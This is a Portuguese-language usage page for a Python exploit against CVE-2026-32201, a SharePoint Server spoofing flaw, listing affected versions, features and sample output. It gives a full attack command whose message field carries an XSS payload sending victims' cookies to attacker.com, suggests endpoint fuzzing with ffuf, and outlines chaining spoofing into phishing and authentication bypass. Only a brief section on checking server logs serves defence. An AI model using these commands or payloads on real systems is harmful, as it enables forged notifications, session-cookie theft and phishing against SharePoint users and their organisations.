Visão Geral

Exploit em Python para CVE-2026-32201 - validação de entrada inadequada no Microsoft SharePoint Server, permitindo spoofing de rede não autenticado (C:L/I:L).

• Afetados: SharePoint Server 2016 Enterprise, 2019, Subscription Edition < 16.0.19725.20210;
• Vetor: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N;
• Impacto: Visualizar/alterar dados sensíveis por meio de notificações/documentos falsificados.

Recursos

1. Identificação (fingerprinting) do SharePoint.
2. POST elaborado para contornar a validação de entrada (sender_override).
3. Payload personalizável (remetente, destinatário, assunto, mensagem com XSS).
4. Análise de resposta para verificação.

Uso

1. Salve-o como exploit.py
2. Execute-o para criar um arquivo de modelo malicioso:

python3 exploit.py https://sharepoint.target.com \
  --recipient [email protected] \
  --sender "[email protected]" \
  --message "<script>fetch('http://attacker.com/?c='+document.cookie)</script>" \
  --endpoint /_layouts/15/notify.aspx

Exemplo de saída:

[+] SharePoint detectado.
[*] Enviando solicitação falsificada para https://target.com/_layouts/15/notify.aspx
[+] Status: 200
[+] Sucesso potencial: Verifique os logs/e-mails do alvo para conteúdo falsificado.

Personalização

• Fuzzing de endpoint: ffuf -u https://target.com/FUZZ -w sharepoint-layouts.txt
• Payload XSS: Adicione JS em --message para roubo de cookies
• Encadeamento: Spoofing → link de phishing → bypass de autenticação

Verificação

• Indicadores de sucesso: 200 OK + "sent/success" na resposta
• Lado do servidor: Verifique os logs ULS/logs IIS para solicitações anômalas
• Impacto: Monitore e-mails/documentos para remetente forjado, teste a modificação de dados